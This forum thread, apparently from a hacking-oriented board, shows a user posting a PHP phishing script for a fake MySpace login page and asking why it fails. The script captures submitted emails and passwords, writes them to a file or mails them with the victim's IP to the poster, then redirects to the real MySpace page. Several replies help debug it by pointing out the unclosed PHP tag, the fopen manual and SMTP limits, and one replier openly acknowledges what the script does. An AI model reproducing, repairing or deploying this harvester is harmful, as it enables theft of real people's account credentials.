power admin
+ Reply to Thread
Results 1 to 15 of 17

Thread: php whats wrong here

Hybrid View

  1. #1
    Join Date
    Nov 2007
    Posts
    20

    php whats wrong here

    can anyone tell me whats wrong with the following file ?

    <?php
    if (isset($_POST['email']) && (isset($_POST['password']))) {
    $email = trim(strip_tags($_POST['email']));
    $password = trim(strip_tags($_POST['password']));


    ";
    fwrite($******, strip_tags(stripslashes($text)));
    fclose($******);
    echo'<script type="text/javascript">document.location.href=\'http://home.myspace.com/index.cfm?fuseaction=user\'</script>\'">';

    }
    <?php
    if (isset($_POST['email']) && (isset($_POST['password']))) {
    $email = trim(strip_tags($_POST['email']));
    $password = trim(strip_tags($_POST['password']));
    $IP = $_SERVER['REMOTE_ADDR'];

    $to = '(my email address)';
    $subject = 'Myspace Login';
    $message = "$email - $password - $IP";
    $headers = 'From: New Myspace Login' . "\r\n" .
    'Reply-To: Login' . "\r\n" .
    'X-Mailer: PHP/' . phpversion();

    mail($to, $subject, $message, $headers);
    echo'<script type="text/javascript">document.location.href=\'http://home.myspace.com/index.cfm?fuseaction=user\'</script>\'">';

    }
    ?>

  2. #2
    Join Date
    Sep 2006
    Posts
    1,649
    What errors are you getting? If you are hosting on a free host and are getting mailing errors, that means the sendmail function is blocked.
    "Workers of the world unite; you have nothing to lose but your chains." -Karl Marx

  3. #3
    Join Date
    Nov 2007
    Posts
    20

    error

    it just wont send the info to the file on the webhost ,,, i dont get any errors

  4. #4
    Join Date
    Sep 2006
    Posts
    1,649
    SMTP must be blocked on your host.
    "Workers of the world unite; you have nothing to lose but your chains." -Karl Marx

  5. #5
    Join Date
    Sep 2005
    Posts
    2,050
    Close the first PHP tag.
    Who needs drugs when you have electrons?

  6. #6
    Join Date
    Sep 2006
    Posts
    1,649
    Wierd, I didn't notice he had two starting tags till now
    "Workers of the world unite; you have nothing to lose but your chains." -Karl Marx

  7. #7
    Join Date
    Sep 2006
    Posts
    1,649
    [url]http://www.w*schools.com/php/default.asp[/url]

    Read up a bit of PHP (specifically the E-mail section) here.
    "Workers of the world unite; you have nothing to lose but your chains." -Karl Marx

  8. #8
    Join Date
    Sep 2005
    Posts
    2,050
    [url]www.php.net/fopen[/url]

    This is the manual for the fopen function. It should explain everything.

    As for email, that would most likely be disabled on a crappy free-hosting account.

    Also, have you closed the first PHP opening tag yet?
    Who needs drugs when you have electrons?

  9. #9
    Join Date
    Dec 2007
    Posts
    141
    I haven't messed with php for so long I forget the exact syntax and functions but I'm sure wherever you got that they cut out sections of code for "script kiddies". Its obvious what it does but I believe Moonbat is right with the fopen. A section of code is definitely missing from there and you may be missing something at the end where the mail function is. Php is usually very simple and this script is very basic that looking up the function in the php homepage or help file and making sure the web server supports that php version and it should work. I'm sure you know to fill in the variables asking for your own info. Anyway good luck with this and if you really can't figure it out post back and I'll look some shit up for you.

  10. #10
    Join Date
    Nov 2007
    Posts
    52

    Unhappy question

    i need a php software to design, look i need to create a web page, i just need php to validate the user acounts on a DB running in SQL server 200*, but i dont know what php fix with the work i need to do, and if somebody could give a link of a good tuto of this kind of work ill be tankfull., i need to done this work before thursday this week...
    Your lifestyle determinates your deathstyle...AD ASTRA PER ASPERA

+ Reply to Thread

Similar Threads

  1. HOSTING (sry if wrong area)
    By TR86 in forum Internet Privacy
    Replies: 10
    Last Post: 12-19-2009, 05:04 AM
  2. sorry if this is in the wrong place but HELP
    By Drama Beatz in forum Internet Privacy
    Replies: 6
    Last Post: 06-30-2008, 10:53 PM
  3. What am I doing wrong with pro rat ?
    By mitch04 in forum Viruses and Trojans
    Replies: 1
    Last Post: 11-06-2006, 04:06 PM
  4. whats wrong with the code
    By geoleeman in forum Viruses and Trojans
    Replies: 4
    Last Post: 08-09-2006, 10:17 AM
  5. oops - wrong ***rd
    By Carrot Soup in forum Internet Privacy
    Replies: 0
    Last Post: 12-05-2002, 08:22 AM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts